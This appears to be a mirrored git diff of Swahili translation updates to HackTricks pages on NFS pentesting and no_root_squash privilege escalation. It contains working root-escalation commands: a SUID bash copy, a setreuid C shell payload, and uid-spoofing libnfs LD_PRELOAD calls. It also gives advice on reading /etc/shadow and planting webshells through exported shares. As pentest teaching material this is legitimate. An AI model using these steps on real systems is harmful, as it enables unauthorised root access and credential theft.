mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['src/linux-hardening/privilege-escalation/nfs-no_root_squash
This commit is contained in:
		
							parent
							
								
									8f19177f0d
								
							
						
					
					
						commit
						a63604b182
					
				@ -6,14 +6,14 @@ NFS kwa kawaida (hasa katika linux) itatumia `uid` na `gid` zilizotolewa na mtej
 | 
			
		||||
 | 
			
		||||
- **`all_squash`**: Inakandamiza ufikiaji wote kwa kubadilisha kila mtumiaji na kundi kuwa **`nobody`** (65534 unsigned / -2 signed). Hivyo, kila mtu ni `nobody` na hakuna watumiaji wanaotumika.
 | 
			
		||||
- **`root_squash`/`no_all_squash`**: Hii ni chaguo la kawaida kwenye Linux na **inakandamiza tu ufikiaji wenye uid 0 (root)**. Hivyo, `UID` na `GID` yoyote inakubaliwa lakini `0` inakandamizwa kuwa `nobody` (hivyo hakuna uigaji wa root unaowezekana).
 | 
			
		||||
- **``no_root_squash`**: Mipangilio hii ikiwa imewezeshwa haikandamizi hata mtumiaji wa root. Hii inamaanisha kwamba ikiwa unakata dirisha na mipangilio hii unaweza kufikia kama root.
 | 
			
		||||
- **``no_root_squash`**: Mipangilio hii ikiwa imewezeshwa hata haikandamizi mtumiaji wa root. Hii inamaanisha kwamba ikiwa unakata dirisha na mipangilio hii unaweza kufikia kama root.
 | 
			
		||||
 | 
			
		||||
Katika **/etc/exports** faili, ikiwa unapata dirisha ambalo limepangiliwa kama **no_root_squash**, basi unaweza **kufikia** kutoka **kama mteja** na **kuandika ndani** ya dirisha hilo **kama** ungekuwa **root** wa mashine hiyo.
 | 
			
		||||
Katika **/etc/exports** faili, ikiwa unapata dirisha fulani ambalo limepangiliwa kama **no_root_squash**, basi unaweza **kufikia** kutoka **kama mteja** na **kuandika ndani** ya dirisha hilo **kama** ungekuwa **root** wa mashine hiyo.
 | 
			
		||||
 | 
			
		||||
Kwa maelezo zaidi kuhusu **NFS** angalia:
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
/network-services-pentesting/nfs-service-pentesting.md
 | 
			
		||||
../../network-services-pentesting/nfs-service-pentesting.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
# Privilege Escalation
 | 
			
		||||
@ -23,7 +23,7 @@ Kwa maelezo zaidi kuhusu **NFS** angalia:
 | 
			
		||||
Chaguo la 1 kutumia bash:
 | 
			
		||||
- **Kukata dirisha hiyo** katika mashine ya mteja, na **kama root kunakili** ndani ya folda iliyokatwa **/bin/bash** binary na kuipa **SUID** haki, na **kutekeleza kutoka kwa mashine ya mwathirika** hiyo bash binary.
 | 
			
		||||
- Kumbuka kwamba ili kuwa root ndani ya NFS share, **`no_root_squash`** lazima iwe imepangiliwa kwenye seva.
 | 
			
		||||
- Hata hivyo, ikiwa haijawezeshwa, unaweza kupandisha hadhi kwa mtumiaji mwingine kwa kunakili binary hiyo kwenye NFS share na kuipa ruhusa ya SUID kama mtumiaji unayetaka kupandisha hadhi.
 | 
			
		||||
- Hata hivyo, ikiwa haijawezeshwa, unaweza kupandisha hadhi kwa mtumiaji mwingine kwa kunakili binary hiyo kwenye NFS share na kuipa ruhusa ya SUID kama mtumiaji unayependa kupandisha hadhi.
 | 
			
		||||
```bash
 | 
			
		||||
#Attacker, as root user
 | 
			
		||||
mkdir /tmp/pe
 | 
			
		||||
@ -36,8 +36,8 @@ chmod +s bash
 | 
			
		||||
cd <SHAREDD_FOLDER>
 | 
			
		||||
./bash -p #ROOT shell
 | 
			
		||||
```
 | 
			
		||||
Option 2 kutumia msimbo wa c uliokamilishwa:
 | 
			
		||||
- **Kuweka hiyo directory** kwenye mashine ya mteja, na **kama root kunakili** ndani ya folda iliyowekwa payload yetu iliyokamilishwa ambayo itatumia ruhusa ya SUID, itapeleka **SUID** haki, na **kuitekeleza kutoka kwa** mashine ya mwathirika hiyo binary (unaweza kupata hapa baadhi ya [C SUID payloads](payloads-to-execute.md#c)).
 | 
			
		||||
Option 2 kutumia msimbo wa c ulioandikwa:
 | 
			
		||||
- **Kuweka hiyo directory** kwenye mashine ya mteja, na **kama root kunakili** ndani ya folda iliyowekwa payload yetu iliyotengenezwa ambayo itatumia ruhusa ya SUID, itapeleka **SUID** haki, na **kuitekeleza kutoka kwa** mashine ya mwathirika hiyo binary (unaweza kupata hapa baadhi ya [C SUID payloads](payloads-to-execute.md#c)).
 | 
			
		||||
- Vikwazo sawa kama hapo awali
 | 
			
		||||
```bash
 | 
			
		||||
#Attacker, as root user
 | 
			
		||||
@ -56,28 +56,28 @@ cd <SHAREDD_FOLDER>
 | 
			
		||||
 | 
			
		||||
> [!NOTE]
 | 
			
		||||
> Kumbuka kwamba ikiwa unaweza kuunda **tunnel kutoka kwa mashine yako hadi mashine ya mwathirika unaweza bado kutumia toleo la Remote ili kutumia hii privilege escalation kwa kutunza bandari zinazohitajika**.\
 | 
			
		||||
> Huu ni ujanja wa kufuata ikiwa faili `/etc/exports` **inaonyesha IP**. Katika kesi hii **hutaweza kutumia** kwa hali yoyote **remote exploit** na utahitaji **kudhulumu ujanja huu**.\
 | 
			
		||||
> Huu ni ujanja katika kesi faili `/etc/exports` **inaonyesha IP**. Katika kesi hii **hutaweza kutumia** kwa hali yoyote **exploit ya remote** na utahitaji **kudhulumu ujanja huu**.\
 | 
			
		||||
> Sharti lingine muhimu ili exploit ifanye kazi ni kwamba **export ndani ya `/etc/export`** **lazima litumie bendera ya `insecure`**.\
 | 
			
		||||
> --_Sijui kama `/etc/export` inaonyesha anwani ya IP ujanja huu utafanikiwa_--
 | 
			
		||||
 | 
			
		||||
## Basic Information
 | 
			
		||||
 | 
			
		||||
Hali hii inahusisha kutumia NFS share iliyowekwa kwenye mashine ya ndani, ikitumia kasoro katika spesifikasiyo ya NFSv3 ambayo inaruhusu mteja kubainisha uid/gid yake, ambayo inaweza kuwezesha ufikiaji usioidhinishwa. Kutumia exploit kunahusisha kutumia [libnfs](https://github.com/sahlberg/libnfs), maktaba inayoruhusu uongo wa NFS RPC calls.
 | 
			
		||||
Hali hii inahusisha kutumia NFS share iliyowekwa kwenye mashine ya ndani, ikitumia kasoro katika spesifikesheni ya NFSv3 ambayo inaruhusu mteja kubainisha uid/gid yake, ambayo inaweza kuwezesha ufikiaji usioidhinishwa. Kutumia exploit kunahusisha kutumia [libnfs](https://github.com/sahlberg/libnfs), maktaba inayoruhusu uundaji wa NFS RPC calls.
 | 
			
		||||
 | 
			
		||||
### Compiling the Library
 | 
			
		||||
 | 
			
		||||
Hatua za ukusanyaji wa maktaba zinaweza kuhitaji marekebisho kulingana na toleo la kernel. Katika kesi hii maalum, syscalls za fallocate zilikuwa zimeandikwa nje. Mchakato wa ukusanyaji unajumuisha amri zifuatazo:
 | 
			
		||||
Hatua za uundaji wa maktaba zinaweza kuhitaji marekebisho kulingana na toleo la kernel. Katika kesi hii maalum, syscalls za fallocate zilikuwa zimeandikwa nje. Mchakato wa uundaji unajumuisha amri zifuatazo:
 | 
			
		||||
```bash
 | 
			
		||||
./bootstrap
 | 
			
		||||
./configure
 | 
			
		||||
make
 | 
			
		||||
gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib/.libs/
 | 
			
		||||
```
 | 
			
		||||
### Kufanya Ushambuliaji
 | 
			
		||||
### Kufanya Uhalifu
 | 
			
		||||
 | 
			
		||||
Ushambuliaji unahusisha kuunda programu rahisi ya C (`pwn.c`) inayoinua mamlaka hadi root na kisha kutekeleza shell. Programu inakusanywa, na binary inayotokana nayo (`a.out`) inawekwa kwenye sehemu yenye suid root, ikitumia `ld_nfs.so` kudanganya uid katika wito za RPC:
 | 
			
		||||
Uhalifu unahusisha kuunda programu rahisi ya C (`pwn.c`) inayoinua mamlaka hadi root na kisha kutekeleza shell. Programu inakusanywa, na binary inayotokana (`a.out`) inawekwa kwenye sehemu yenye suid root, ikitumia `ld_nfs.so` kudanganya uid katika wito za RPC:
 | 
			
		||||
 | 
			
		||||
1. **Kusanya msimbo wa ushambuliaji:**
 | 
			
		||||
1. **Kusanya msimbo wa uhalifu:**
 | 
			
		||||
```bash
 | 
			
		||||
cat pwn.c
 | 
			
		||||
int main(void){setreuid(0,0); system("/bin/bash"); return 0;}
 | 
			
		||||
@ -90,14 +90,14 @@ LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs
 | 
			
		||||
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out
 | 
			
		||||
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out
 | 
			
		||||
```
 | 
			
		||||
3. **Teua exploit ili kupata ruhusa za mzizi:**
 | 
			
		||||
3. **Tekeleza exploit ili kupata ruhusa za mzizi:**
 | 
			
		||||
```bash
 | 
			
		||||
/mnt/share/a.out
 | 
			
		||||
#root
 | 
			
		||||
```
 | 
			
		||||
## Bonus: NFShell for Stealthy File Access
 | 
			
		||||
## Bonus: NFShell kwa Ufikiaji wa Kificho
 | 
			
		||||
 | 
			
		||||
Mara tu ufikiaji wa root unapatikana, ili kuingiliana na NFS share bila kubadilisha umiliki (ili kuepuka kuacha alama), script ya Python (nfsh.py) inatumika. Script hii inarekebisha uid ili kuendana na ile ya faili inayofikiwa, ikiruhusu kuingiliana na faili kwenye share bila matatizo ya ruhusa:
 | 
			
		||||
Mara tu ufikiaji wa root unapopatikana, ili kuingiliana na NFS share bila kubadilisha umiliki (ili kuepuka kuacha alama), script ya Python (nfsh.py) inatumika. Script hii inarekebisha uid ili kuendana na ile ya faili inayofikiwa, ikiruhusu kuingiliana na faili kwenye share bila matatizo ya ruhusa:
 | 
			
		||||
```python
 | 
			
		||||
#!/usr/bin/env python
 | 
			
		||||
# script from https://www.errno.fr/nfs_privesc.html
 | 
			
		||||
 | 
			
		||||
@ -2,25 +2,25 @@
 | 
			
		||||
 | 
			
		||||
{{#include ../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
## **Basic Information**
 | 
			
		||||
## **Msingi wa Taarifa**
 | 
			
		||||
 | 
			
		||||
**NFS** ni mfumo ulioandaliwa kwa ajili ya **client/server** ambao unawawezesha watumiaji kufikia faili kwa urahisi kupitia mtandao kana kwamba faili hizi ziko ndani ya directory ya ndani.
 | 
			
		||||
**NFS** ni mfumo ulioandaliwa kwa ajili ya **mteja/server** ambao unawawezesha watumiaji kufikia faili kwa urahisi kupitia mtandao kana kwamba faili hizi ziko ndani ya saraka ya ndani.
 | 
			
		||||
 | 
			
		||||
**Default port**: 2049/TCP/UDP (isipokuwa toleo la 4, inahitaji tu TCP au UDP).
 | 
			
		||||
**Bandari ya Kawaida**: 2049/TCP/UDP (isipokuwa toleo la 4, inahitaji tu TCP au UDP).
 | 
			
		||||
```
 | 
			
		||||
2049/tcp open  nfs     2-3 (RPC #100003
 | 
			
		||||
```
 | 
			
		||||
### Authentication
 | 
			
		||||
 | 
			
		||||
Sifa inayojulikana ya protokali hii ni ukosefu wake wa kawaida wa **authentication** au **authorization mechanisms** zilizojengwa ndani. Badala yake, authorization inategemea **file system information**, ambapo server inawajibika kwa kutafsiri kwa usahihi **client-provided user information** katika **authorization format** inayohitajika na file system, hasa ikifuatilia **UNIX syntax**.
 | 
			
		||||
Sifa inayojulikana ya itifaki hii ni ukosefu wa kawaida wa **authentication** au **authorization mechanisms** zilizojengwa ndani. Badala yake, mamlaka inategemea **habari za mfumo wa faili**, ambapo seva inawajibika kwa kutafsiri kwa usahihi **habari za mtumiaji zinazotolewa na mteja** katika **muundo wa mamlaka** unaohitajika na mfumo wa faili, hasa ikifuatilia **UNIX syntax**.
 | 
			
		||||
 | 
			
		||||
Authentication kwa kawaida inategemea **UNIX `UID`/`GID` identifiers na group memberships**. Hata hivyo, changamoto inatokea kutokana na uwezekano wa kutofautiana katika **`UID`/`GID` mappings** kati ya wateja na seva, na kuacha nafasi ya ziada ya uthibitisho kutoka kwa seva. Aidha, maelezo haya yanatumwa na mteja na kuaminika na seva, hivyo mteja mbaya anaweza kuweza **kujifanya kuwa mtumiaji mwingine akituma `uid` na `gid` zenye mamlaka zaidi**.
 | 
			
		||||
Authentication kwa kawaida inategemea **UNIX `UID`/`GID` identifiers na uanachama wa vikundi**. Hata hivyo, changamoto inatokea kutokana na uwezekano wa kutofautiana katika **`UID`/`GID` mappings** kati ya wateja na seva, na kuacha nafasi yoyote ya uthibitisho wa ziada na seva. Zaidi ya hayo, maelezo haya yanatumwa na mteja na kuaminika na seva, hivyo mteja mbaya anaweza kuweza **kujifanya kuwa mtumiaji mwingine akituma `uid` na `gid` zenye mamlaka zaidi**.
 | 
			
		||||
 | 
			
		||||
**Hata hivyo, kumbuka kwamba kwa kawaida haiwezekani kujifanya kuwa `UID` 0 (root) kwa kutumia NFS. Zaidi kuhusu hii katika sehemu ya squashing.**
 | 
			
		||||
 | 
			
		||||
#### Hosts
 | 
			
		||||
 | 
			
		||||
Ili kupata **authorization** bora (au baadhi), unaweza kubainisha **hosts** ambazo zinaweza kufikia NFS share. Hii inaweza kufanywa katika faili ya Linux `/etc/exports`. Kwa mfano:
 | 
			
		||||
Kwa mamlaka bora (au baadhi) unaweza kubainisha **hosts** ambazo zinaweza kufikia NFS share. Hii inaweza kufanywa katika faili ya Linux `/etc/exports`. Kwa mfano:
 | 
			
		||||
```
 | 
			
		||||
/PATH/TO/EXPORT      CLIENT1(OPTIONS1) CLIENT2(OPTIONS2) ...
 | 
			
		||||
/media/disk/share   192.168.2.123(rw,sec=krb5p:krb5i)
 | 
			
		||||
@ -33,7 +33,7 @@ As you can see, it allows to configure a specific **IP** or **hostname** to acce
 | 
			
		||||
 | 
			
		||||
- **NFSv3**: Ilianzishwa kwa mabadiliko mbalimbali, NFSv3 ilipanua juu ya mtangulizi wake kwa kusaidia ukubwa wa faili tofauti na kutoa mifumo bora ya kuripoti makosa. Licha ya maendeleo yake, ilikabiliwa na vikwazo katika ufanisi wa kurudi nyuma kwa wateja wa NFSv2.
 | 
			
		||||
 | 
			
		||||
- **NFSv4**: Toleo muhimu katika mfululizo wa NFS, NFSv4 ilileta seti ya vipengele vilivyoundwa kuboresha ushirikiano wa faili katika mitandao. Maboresho makubwa ni pamoja na ujumuishaji wa Kerberos kwa **usalama wa juu**, uwezo wa kupita kwenye moto na kufanya kazi juu ya Mtandao bila haja ya portmappers, msaada wa Orodha za Udhibiti wa Ufikiaji (ACLs), na utambulisho wa operesheni za msingi wa hali. Maboresho yake ya utendaji na kupitishwa kwa itifaki ya hali inafanya NFSv4 kuwa maendeleo muhimu katika teknolojia za ushirikiano wa faili za mtandao.
 | 
			
		||||
- **NFSv4**: Toleo muhimu katika mfululizo wa NFS, NFSv4 ilileta seti ya vipengele vilivyoundwa kuboresha ushirikiano wa faili katika mitandao. Maboresho makubwa ni pamoja na ujumuishaji wa Kerberos kwa **usalama wa juu**, uwezo wa kupita moto na kufanya kazi juu ya Mtandao bila haja ya portmappers, msaada wa Orodha za Udhibiti wa Ufikiaji (ACLs), na kuanzishwa kwa operesheni za msingi wa hali. Maboresho yake ya utendaji na kupitishwa kwa itifaki ya hali inafanya NFSv4 kuwa maendeleo muhimu katika teknolojia za ushirikiano wa faili mtandaoni.
 | 
			
		||||
- Kumbuka kwamba ni ajabu sana kupata mwenyeji wa Linux NFS ukisaidia uthibitishaji wa kerberos.
 | 
			
		||||
 | 
			
		||||
Kila toleo la NFS limeandaliwa kwa nia ya kukabiliana na mahitaji yanayobadilika ya mazingira ya mtandao, ikiongeza usalama, ufanisi, na utendaji.
 | 
			
		||||
@ -44,11 +44,11 @@ Kama ilivyotajwa hapo awali, NFS kwa kawaida itategemea `uid` na `gid` za mteja
 | 
			
		||||
 | 
			
		||||
- **all_squash**: Inakandamiza ufikiaji wote ikitafsiri kila mtumiaji na kundi kuwa **`nobody`** (65534 unsigned / -2 signed). Hivyo, kila mtu ni `nobody` na hakuna watumiaji wanaotumika.
 | 
			
		||||
- **root_squash/no_all_squash**: Hii ni ya kawaida kwenye Linux na **inakanusha ufikiaji tu na uid 0 (root)**. Hivyo, `UID` na `GID` yoyote inatambulika lakini `0` inakandamizwa kuwa `nobody` (hivyo hakuna uigaji wa root unaowezekana).
 | 
			
		||||
- **no_root_squash**: Mipangilio hii ikiwa imewezeshwa haikandamizi hata mtumiaji wa root. Hii inamaanisha kwamba ikiwa unakata directory na mipangilio hii unaweza kuifikia kama root.
 | 
			
		||||
- **no_root_squash**: Mipangilio hii ikiwa imewezeshwa haikandamizi hata mtumiaji wa root. Hii inamaanisha kwamba ikiwa unakandamiza saraka na mipangilio hii unaweza kuifikia kama root.
 | 
			
		||||
 | 
			
		||||
### Subtree check
 | 
			
		||||
 | 
			
		||||
Inapatikana tu kwenye Linux. man(5) exports inasema: "Ikiwa subdirectory ya mfumo wa faili inasafirishwa, lakini mfumo mzima wa faili haujasafirishwa basi kila wakati ombi la NFS linapofika, seva lazima ikague si tu kwamba faili inayofikiwa iko katika mfumo wa faili unaofaa (ambayo ni rahisi) bali pia kwamba iko katika mti wa kusafirishwa (ambayo ni ngumu zaidi). Ukaguzi huu unaitwa ukaguzi wa subtree."
 | 
			
		||||
Inapatikana tu kwenye Linux. man(5) exports inasema: "Ikiwa saraka ndogo ya mfumo wa faili inasafirishwa, lakini mfumo mzima wa faili haujasafirishwa, basi kila wakati ombi la NFS linapofika, seva lazima ikague si tu kwamba faili inayofikiwa iko katika mfumo wa faili unaofaa (ambayo ni rahisi) bali pia kwamba iko katika mti wa kusafirishwa (ambayo ni ngumu zaidi). Ukaguzi huu unaitwa ukaguzi wa subtree."
 | 
			
		||||
 | 
			
		||||
Katika Linux **kipengele cha `subtree_check` kimezimwa** kwa kawaida.
 | 
			
		||||
 | 
			
		||||
@ -56,8 +56,8 @@ Katika Linux **kipengele cha `subtree_check` kimezimwa** kwa kawaida.
 | 
			
		||||
 | 
			
		||||
### Showmount
 | 
			
		||||
 | 
			
		||||
Hii inaweza kutumika ili **kupata taarifa kutoka kwa seva ya NFSv3**, kama orodha ya **exports**, nani **anayeruhusiwa kufikia** hizi exports, na wateja gani wameunganishwa (ambayo inaweza kuwa si sahihi ikiwa mteja anajitenga bila kumwambia seva).
 | 
			
		||||
Katika **wateja wa NFSv4 wanapata moja kwa moja /export** na kujaribu kufikia exports kutoka hapo, wakishindwa ikiwa ni batili au isiyoruhusiwa kwa sababu yoyote.
 | 
			
		||||
Hii inaweza kutumika ili **kupata taarifa kutoka kwa seva ya NFSv3**, kama orodha ya **exports**, nani anayeruhusiwa **kufikia** hizi exports, na wateja gani wameunganishwa (ambayo inaweza kuwa si sahihi ikiwa mteja anajitenga bila kumwambia seva).
 | 
			
		||||
Katika **wateja wa NFSv4 wanapata moja kwa moja /export** na kujaribu kufikia exports kutoka hapo, wakishindwa ikiwa ni batili au isiyoidhinishwa kwa sababu yoyote.
 | 
			
		||||
 | 
			
		||||
Ikiwa zana kama `showmount` au moduli za Metasploit hazionyeshi taarifa kutoka kwa bandari ya NFS, huenda ni seva ya NFSv4 ambayo haisaidii toleo la 3.
 | 
			
		||||
```bash
 | 
			
		||||
@ -79,11 +79,11 @@ Chombo hiki kutoka [https://github.com/hvs-consulting/nfs-security-tooling](http
 | 
			
		||||
 | 
			
		||||
## Mounting
 | 
			
		||||
 | 
			
		||||
Ili kujua **ni folda ipi** ambayo seva ina **inapatikana** ili kuweza kuikamilisha, unaweza kuomba kwa kutumia:
 | 
			
		||||
Ili kujua **ni folda ipi** ambayo seva ina **inapatikana** kwa ajili ya kukupatia, unaweza kuomba kwa kutumia:
 | 
			
		||||
```bash
 | 
			
		||||
showmount -e <IP>
 | 
			
		||||
```
 | 
			
		||||
Kisha pandisha kutumia:
 | 
			
		||||
Kisha pandisha kwa kutumia:
 | 
			
		||||
```bash
 | 
			
		||||
mount -t nfs [-o vers=2] <ip>:<remote_folder> <local_folder> -o nolock
 | 
			
		||||
```
 | 
			
		||||
@ -94,42 +94,42 @@ Unapaswa kubainisha **tumia toleo la 2** kwa sababu halina **uthibitishaji** au
 | 
			
		||||
mkdir /mnt/new_back
 | 
			
		||||
mount -t nfs [-o vers=2] 10.12.0.150:/backup /mnt/new_back -o nolock
 | 
			
		||||
```
 | 
			
		||||
## Attacks
 | 
			
		||||
## Mashambulizi
 | 
			
		||||
 | 
			
		||||
### Trusting UID and GID
 | 
			
		||||
### Kuamini UID na GID
 | 
			
		||||
 | 
			
		||||
Ofc, tatizo pekee hapa ni kwamba kwa default haiwezekani kujifanya kuwa root (`UID` 0). Hata hivyo, inawezekana kujifanya kuwa mtumiaji mwingine yeyote au ikiwa `no_root_squash` imewezeshwa unaweza pia kujifanya kuwa root.
 | 
			
		||||
Kwa kweli, tatizo pekee hapa ni kwamba kwa kawaida haiwezekani kujifanya kuwa root (`UID` 0). Hata hivyo, inawezekana kujifanya kuwa mtumiaji mwingine yeyote au ikiwa `no_root_squash` imewezeshwa unaweza pia kujifanya kuwa root.
 | 
			
		||||
 | 
			
		||||
- Ikiwa unakata folder ambayo ina **faili au folda zinazopatikana tu na mtumiaji fulani** (kwa **UID**). Unaweza **kuunda** **katika** **mitaa** mtumiaji mwenye **UID** hiyo na kwa kutumia **mtumiaji** huyo utaweza **kufikia** faili/folda.
 | 
			
		||||
- Ikiwa unakata folder ambayo ina **faili au folda zinazopatikana tu na mtumiaji fulani** (kwa **UID**). Unaweza **kuunda** **katika** **mitaa** mtumiaji mwenye **UID** hiyo na kwa kutumia **mtumiaji** huyo utaweza **kufikia** faili/folda hiyo.
 | 
			
		||||
- Chombo **`fuse_nfs`** kutoka [https://github.com/hvs-consulting/nfs-security-tooling](https://github.com/hvs-consulting/nfs-security-tooling) kitaweza kutuma kila wakati UID na GID zinazohitajika kufikia faili.
 | 
			
		||||
 | 
			
		||||
### SUID Privilege Escalation
 | 
			
		||||
### Kuinua Privilege ya SUID
 | 
			
		||||
 | 
			
		||||
Angalia ukurasa:
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md
 | 
			
		||||
../linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
### Escaping from the exports
 | 
			
		||||
### Kutoroka kutoka kwa exports
 | 
			
		||||
 | 
			
		||||
Katika [makala hii nzuri](https://www.hvs-consulting.de/en/nfs-security-identifying-and-exploiting-misconfigurations/) inawezekana kuona kwamba inawezekana **kutoroka kutoka kwa exports ili kufikia folda nyingine katika FS**.
 | 
			
		||||
 | 
			
		||||
Hivyo, ikiwa export inasafirisha folda ambayo ni **subfolder** ya **faili nzima ya mfumo** inawezekana kufikia faili nje ya export ikiwa **`subtree_check`** imezimwa. Na ime **zimwa kwa default katika Linux**.
 | 
			
		||||
Hivyo, ikiwa export inasafirisha folda ambayo ni **subfolder** ya **faili nzima ya mfumo** inawezekana kufikia faili nje ya export ikiwa **`subtree_check`** imezimwa. Na ime **zimwa kwa kawaida katika Linux**.
 | 
			
		||||
 | 
			
		||||
Kwa mfano, ikiwa seva ya NFS inasafirisha `/srv/` na `/var/` iko katika mfumo huo huo wa faili, inawezekana kusoma logi kutoka `/var/log/` au kuhifadhi webshell katika `/var/www/`.
 | 
			
		||||
 | 
			
		||||
Zaidi ya hayo, kumbuka kwamba kwa default mtumiaji tu wa root (0) anprotected kutoka kwa kujifanya (angalia sehemu ya Squash). Hata hivyo, ikiwa faili ni **miliki ya root lakini kundi si 0, inawezekana kufikia**. Kwa mfano, faili `/etc/shadow` ni miliki ya root lakini kundi ni `shadow` (gid 42 kwenye Debian). Hivyo, inawezekana kuisoma kwa default!
 | 
			
		||||
Zaidi ya hayo, kumbuka kwamba kwa kawaida mtumiaji tu wa root (0) anapojulikana kuwa na ulinzi dhidi ya kujifananisha (angalia sehemu ya Squash). Hata hivyo, ikiwa faili ni **miliki ya root lakini kundi si 0, inawezekana kufikia hiyo**. Kwa mfano, faili `/etc/shadow` inamilikiwa na root lakini kundi ni `shadow` (gid 42 kwenye Debian). Hivyo, inawezekana kuisoma kwa kawaida!
 | 
			
		||||
 | 
			
		||||
Chombo **`nfs_analyze`** kutoka [https://github.com/hvs-consulting/nfs-security-tooling](https://github.com/hvs-consulting/nfs-security-tooling) kimejengwa kusaidia shambulio hili dhidi ya mifumo ya faili ext4, xfs, btrfs katika toleo la 3 (inapaswa pia kuwa inawezekana katika v4).
 | 
			
		||||
 | 
			
		||||
### NSFShell
 | 
			
		||||
 | 
			
		||||
Ili orodhesha kwa urahisi, kuunganisha na kubadilisha UID na GID ili kupata ufikiaji wa faili unaweza kutumia [nfsshell](https://github.com/NetDirect/nfsshell).
 | 
			
		||||
Ili orodhesha kwa urahisi, kuunganisha na kubadilisha UID na GID ili kuwa na ufikiaji wa faili unaweza kutumia [nfsshell](https://github.com/NetDirect/nfsshell).
 | 
			
		||||
 | 
			
		||||
[Nice NFSShell tutorial.](https://www.pentestpartners.com/security-blog/using-nfsshell-to-compromise-older-environments/)
 | 
			
		||||
[Mafunzo mazuri ya NFSShell.](https://www.pentestpartners.com/security-blog/using-nfsshell-to-compromise-older-environments/)
 | 
			
		||||
 | 
			
		||||
## Config files
 | 
			
		||||
## Faili za Config
 | 
			
		||||
```
 | 
			
		||||
/etc/exports
 | 
			
		||||
/etc/lib/nfs/etab
 | 
			
		||||
@ -140,7 +140,7 @@ Ili orodhesha kwa urahisi, kuunganisha na kubadilisha UID na GID ili kupata ufik
 | 
			
		||||
 | 
			
		||||
- **Use of Insecure Ports (`insecure`):** Wakati imewezeshwa, hii inaruhusu mfumo kutumia bandari zilizo juu ya 1024. Usalama wa bandari zilizo juu ya kiwango hiki unaweza kuwa dhaifu, kuongeza hatari.
 | 
			
		||||
 | 
			
		||||
- **Visibility of Nested File Systems (`nohide`):** Mipangilio hii inafanya saraka kuonekana hata kama mfumo mwingine wa faili umewekwa chini ya saraka iliyosafirishwa. Kila saraka inahitaji kuingia kwake mwenyewe kwa usimamizi sahihi.
 | 
			
		||||
- **Visibility of Nested File Systems (`nohide`):** Mipangilio hii inafanya saraka kuonekana hata kama mfumo mwingine wa faili umewekwa chini ya saraka iliyosambazwa. Kila saraka inahitaji kuingia kwake mwenyewe kwa usimamizi sahihi.
 | 
			
		||||
 | 
			
		||||
- **Root Files Ownership (`no_root_squash`):** Kwa mipangilio hii, faili zinazoundwa na mtumiaji wa root zinahifadhi UID/GID yao ya awali ya 0, bila kuzingatia kanuni ya haki ndogo na huenda ikatoa ruhusa nyingi.
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user